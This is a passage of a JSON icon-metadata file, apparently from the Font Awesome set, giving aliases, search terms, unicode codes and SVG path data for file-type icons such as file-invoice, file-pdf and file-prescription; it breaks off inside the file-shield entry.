        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm152 32c5.3 0 10.2 2.6 13.2 6.9l88 128c3.4 4.9 3.7 11.3 1 16.5s-8.2 8.6-14.2 8.6H216 176 128 80c-5.8 0-11.1-3.1-13.9-8.1s-2.8-11.2 .2-16.1l48-80c2.9-4.8 8.1-7.8 13.7-7.8s10.8 2.9 13.7 7.8l12.8 21.4 48.3-70.2c3-4.3 7.9-6.9 13.2-6.9z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm96 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm69.2 46.9c-3-4.3-7.9-6.9-13.2-6.9s-10.2 2.6-13.2 6.9l-41.3 59.7-11.9-19.1c-2.9-4.7-8.1-7.5-13.6-7.5s-10.6 2.8-13.6 7.5l-40 64c-3.1 4.9-3.2 11.1-.4 16.2s8.2 8.2 14 8.2h48 32 40 72c6 0 11.4-3.3 14.2-8.6s2.4-11.6-1-16.5l-72-104z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm96 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm69.2 46.9c-3-4.3-7.9-6.9-13.2-6.9s-10.2 2.6-13.2 6.9l-41.3 59.7-11.9-19.1c-2.9-4.7-8.1-7.5-13.6-7.5s-10.6 2.8-13.6 7.5l-40 64c-3.1 4.9-3.2 11.1-.4 16.2s8.2 8.2 14 8.2h48 32 40 72c6 0 11.4-3.3 14.2-8.6s2.4-11.6-1-16.5l-72-104z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-import": {
    "aliases": {
      "names": ["arrow-right-to-file"],
      "unicodes": {
        "secondary": ["10f56f"]
      }
    },
    "changes": [
      "5.1.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["copy", "document", "send", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f56f",
    "label": "File Import",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 64c0-35.3 28.7-64 64-64H352V128c0 17.7 14.3 32 32 32H512V448c0 35.3-28.7 64-64 64H192c-35.3 0-64-28.7-64-64V336H302.1l-39 39c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9l-80-80c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l39 39H128V64zm0 224v48H24c-13.3 0-24-10.7-24-24s10.7-24 24-24H128zM512 128H384V0L512 128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 64c0-35.3 28.7-64 64-64H352V128c0 17.7 14.3 32 32 32H512V448c0 35.3-28.7 64-64 64H192c-35.3 0-64-28.7-64-64V336H302.1l-39 39c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9l-80-80c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l39 39H128V64zm0 224v48H24c-13.3 0-24-10.7-24-24s10.7-24 24-24H128zM512 128H384V0L512 128z"
      }
    },
    "free": ["solid"]
  },
  "file-invoice": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f570"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["account", "bill", "charge", "document", "payment", "receipt"]
    },
    "styles": ["solid"],
    "unicode": "f570",
    "label": "File Invoice",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM80 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm16 96H288c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm0 32v64H288V256H96zM240 416h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM80 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm16 96H288c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm0 32v64H288V256H96zM240 416h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "file-invoice-dollar": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f571"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "$",
        "account",
        "bill",
        "charge",
        "document",
        "dollar-sign",
        "money",
        "payment",
        "receipt",
        "usd"
      ]
    },
    "styles": ["solid"],
    "unicode": "f571",
    "label": "File Invoice Dollar",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm128 72c8.8 0 16 7.2 16 16v17.3c8.5 1.2 16.7 3.1 24.1 5.1c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-11.1-3-22-5.2-32.1-5.3c-8.4-.1-17.4 1.8-23.6 5.5c-5.7 3.4-8.1 7.3-8.1 12.8c0 3.7 1.3 6.5 7.3 10.1c6.9 4.1 16.6 7.1 29.2 10.9l.5 .1 0 0 0 0c11.3 3.4 25.3 7.6 36.3 14.6c12.1 7.6 22.4 19.7 22.7 38.2c.3 19.3-9.6 33.3-22.9 41.6c-7.7 4.8-16.4 7.6-25.1 9.1V440c0 8.8-7.2 16-16 16s-16-7.2-16-16V422.2c-11.2-2.1-21.7-5.7-30.9-8.9l0 0c-2.1-.7-4.2-1.4-6.2-2.1c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c2.5 .8 4.8 1.6 7.1 2.4l0 0 0 0 0 0c13.6 4.6 24.6 8.4 36.3 8.7c9.1 .3 17.9-1.7 23.7-5.3c5.1-3.2 7.9-7.3 7.8-14c-.1-4.6-1.8-7.8-7.7-11.6c-6.8-4.3-16.5-7.4-29-11.2l-1.6-.5 0 0c-11-3.3-24.3-7.3-34.8-13.7c-12-7.2-22.6-18.9-22.7-37.3c-.1-19.4 10.8-32.8 23.8-40.5c7.5-4.4 15.8-7.2 24.1-8.7V232c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm128 72c8.8 0 16 7.2 16 16v17.3c8.5 1.2 16.7 3.1 24.1 5.1c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-11.1-3-22-5.2-32.1-5.3c-8.4-.1-17.4 1.8-23.6 5.5c-5.7 3.4-8.1 7.3-8.1 12.8c0 3.7 1.3 6.5 7.3 10.1c6.9 4.1 16.6 7.1 29.2 10.9l.5 .1 0 0 0 0c11.3 3.4 25.3 7.6 36.3 14.6c12.1 7.6 22.4 19.7 22.7 38.2c.3 19.3-9.6 33.3-22.9 41.6c-7.7 4.8-16.4 7.6-25.1 9.1V440c0 8.8-7.2 16-16 16s-16-7.2-16-16V422.2c-11.2-2.1-21.7-5.7-30.9-8.9l0 0c-2.1-.7-4.2-1.4-6.2-2.1c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c2.5 .8 4.8 1.6 7.1 2.4l0 0 0 0 0 0c13.6 4.6 24.6 8.4 36.3 8.7c9.1 .3 17.9-1.7 23.7-5.3c5.1-3.2 7.9-7.3 7.8-14c-.1-4.6-1.8-7.8-7.7-11.6c-6.8-4.3-16.5-7.4-29-11.2l-1.6-.5 0 0c-11-3.3-24.3-7.3-34.8-13.7c-12-7.2-22.6-18.9-22.7-37.3c-.1-19.4 10.8-32.8 23.8-40.5c7.5-4.4 15.8-7.2 24.1-8.7V232c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "file-lines": {
    "aliases": {
      "names": ["file-alt", "file-text"],
      "unicodes": {
        "composite": ["1f5b9", "1f5ce", "f0f6"],
        "secondary": ["10f15c"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Document",
        "Document with Text",
        "document",
        "file-text",
        "invoice",
        "new",
        "page",
        "pdf"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f15c",
    "label": "File Lines",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM112 256H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM112 256H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm56 256c-13.3 0-24 10.7-24 24s10.7 24 24 24H264c13.3 0 24-10.7 24-24s-10.7-24-24-24H120zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H264c13.3 0 24-10.7 24-24s-10.7-24-24-24H120z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm56 256c-13.3 0-24 10.7-24 24s10.7 24 24 24H264c13.3 0 24-10.7 24-24s-10.7-24-24-24H120zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H264c13.3 0 24-10.7 24-24s-10.7-24-24-24H120z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f477"]
      }
    },
    "changes": ["5.0.7", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "health", "history", "prescription", "record"]
    },
    "styles": ["solid"],
    "unicode": "f477",
    "label": "File Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM160 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H224v48c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V352H112c-8.8 0-16-7.2-16-16V304c0-8.8 7.2-16 16-16h48V240z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM160 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H224v48c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V352H112c-8.8 0-16-7.2-16-16V304c0-8.8 7.2-16 16-16h48V240z"
      }
    },
    "free": ["solid"]
  },
  "file-pdf": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c1"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["acrobat", "document", "preview", "save"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c1",
    "label": "File Pdf",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V304H176c-35.3 0-64 28.7-64 64V512H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM176 352h32c30.9 0 56 25.1 56 56s-25.1 56-56 56H192v32c0 8.8-7.2 16-16 16s-16-7.2-16-16V448 368c0-8.8 7.2-16 16-16zm32 80c13.3 0 24-10.7 24-24s-10.7-24-24-24H192v48h16zm96-80h32c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H304c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zm32 128c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H320v96h16zm80-112c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v32h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V432 368z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V304H176c-35.3 0-64 28.7-64 64V512H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM176 352h32c30.9 0 56 25.1 56 56s-25.1 56-56 56H192v32c0 8.8-7.2 16-16 16s-16-7.2-16-16V448 368c0-8.8 7.2-16 16-16zm32 80c13.3 0 24-10.7 24-24s-10.7-24-24-24H192v48h16zm96-80h32c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H304c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zm32 128c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H320v96h16zm80-112c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v32h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V432 368z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 464H96v48H64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V288H336V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM176 352h32c30.9 0 56 25.1 56 56s-25.1 56-56 56H192v32c0 8.8-7.2 16-16 16s-16-7.2-16-16V448 368c0-8.8 7.2-16 16-16zm32 80c13.3 0 24-10.7 24-24s-10.7-24-24-24H192v48h16zm96-80h32c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H304c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zm32 128c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H320v96h16zm80-112c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v32h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V432 368z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 464H96v48H64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V288H336V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM176 352h32c30.9 0 56 25.1 56 56s-25.1 56-56 56H192v32c0 8.8-7.2 16-16 16s-16-7.2-16-16V448 368c0-8.8 7.2-16 16-16zm32 80c13.3 0 24-10.7 24-24s-10.7-24-24-24H192v48h16zm96-80h32c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H304c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zm32 128c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H320v96h16zm80-112c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v32h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V432 368z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-pen": {
    "aliases": {
      "names": ["file-edit"],
      "unicodes": {
        "composite": ["1f4dd"],
        "secondary": ["10f31c"]
      }
    },
    "changes": [
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "memo", "pen", "pencil", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f31c",
    "label": "File Pen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V285.7l-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V285.7l-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"
      }
    },
    "free": ["solid"]
  },
  "file-powerpoint": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c4"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["display", "document", "keynote", "presentation"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c4",
    "label": "File Powerpoint",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM136 240h68c42 0 76 34 76 76s-34 76-76 76H160v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V368 264c0-13.3 10.7-24 24-24zm68 104c15.5 0 28-12.5 28-28s-12.5-28-28-28H160v56h44z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM136 240h68c42 0 76 34 76 76s-34 76-76 76H160v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V368 264c0-13.3 10.7-24 24-24zm68 104c15.5 0 28-12.5 28-28s-12.5-28-28-28H160v56h44z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm72 208c-13.3 0-24 10.7-24 24V336v56c0 13.3 10.7 24 24 24s24-10.7 24-24V360h44c42 0 76-34 76-76s-34-76-76-76H136zm68 104H160V256h44c15.5 0 28 12.5 28 28s-12.5 28-28 28z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm72 208c-13.3 0-24 10.7-24 24V336v56c0 13.3 10.7 24 24 24s24-10.7 24-24V360h44c42 0 76-34 76-76s-34-76-76-76H136zm68 104H160V256h44c15.5 0 28 12.5 28 28s-12.5 28-28 28z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-prescription": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f572"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "drugs", "medical", "medicine", "rx"]
    },
    "styles": ["solid"],
    "unicode": "f572",
    "label": "File Prescription",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM104 196h72c33.1 0 60 26.9 60 60c0 25.5-15.9 47.2-38.3 55.9l43 40.3 33.8-31c8.1-7.5 20.8-6.9 28.3 1.2s6.9 20.8-1.2 28.3L270 379.7l31.7 29.7c8.1 7.6 8.5 20.2 .9 28.3s-20.2 8.5-28.3 .9l-33.9-31.8-34.9 32c-8.1 7.5-20.8 6.9-28.3-1.2s-6.9-20.8 1.2-28.3l32.6-29.9-64.8-60.8c-.9-.8-1.6-1.7-2.3-2.6H124v44c0 11-9 20-20 20s-20-9-20-20V296 216c0-11 9-20 20-20zm72 80c11 0 20-9 20-20s-9-20-20-20H124v40h52z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM104 196h72c33.1 0 60 26.9 60 60c0 25.5-15.9 47.2-38.3 55.9l43 40.3 33.8-31c8.1-7.5 20.8-6.9 28.3 1.2s6.9 20.8-1.2 28.3L270 379.7l31.7 29.7c8.1 7.6 8.5 20.2 .9 28.3s-20.2 8.5-28.3 .9l-33.9-31.8-34.9 32c-8.1 7.5-20.8 6.9-28.3-1.2s-6.9-20.8 1.2-28.3l32.6-29.9-64.8-60.8c-.9-.8-1.6-1.7-2.3-2.6H124v44c0 11-9 20-20 20s-20-9-20-20V296 216c0-11 9-20 20-20zm72 80c11 0 20-9 20-20s-9-20-20-20H124v40h52z"
      }
    },
    "free": ["solid"]
  },
  "file-shield": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "antivirus",
        "data",
        "document",
        "protect",
        "safe",
        "safety",
        "secure"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4f0",
    "label": "File Shield",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
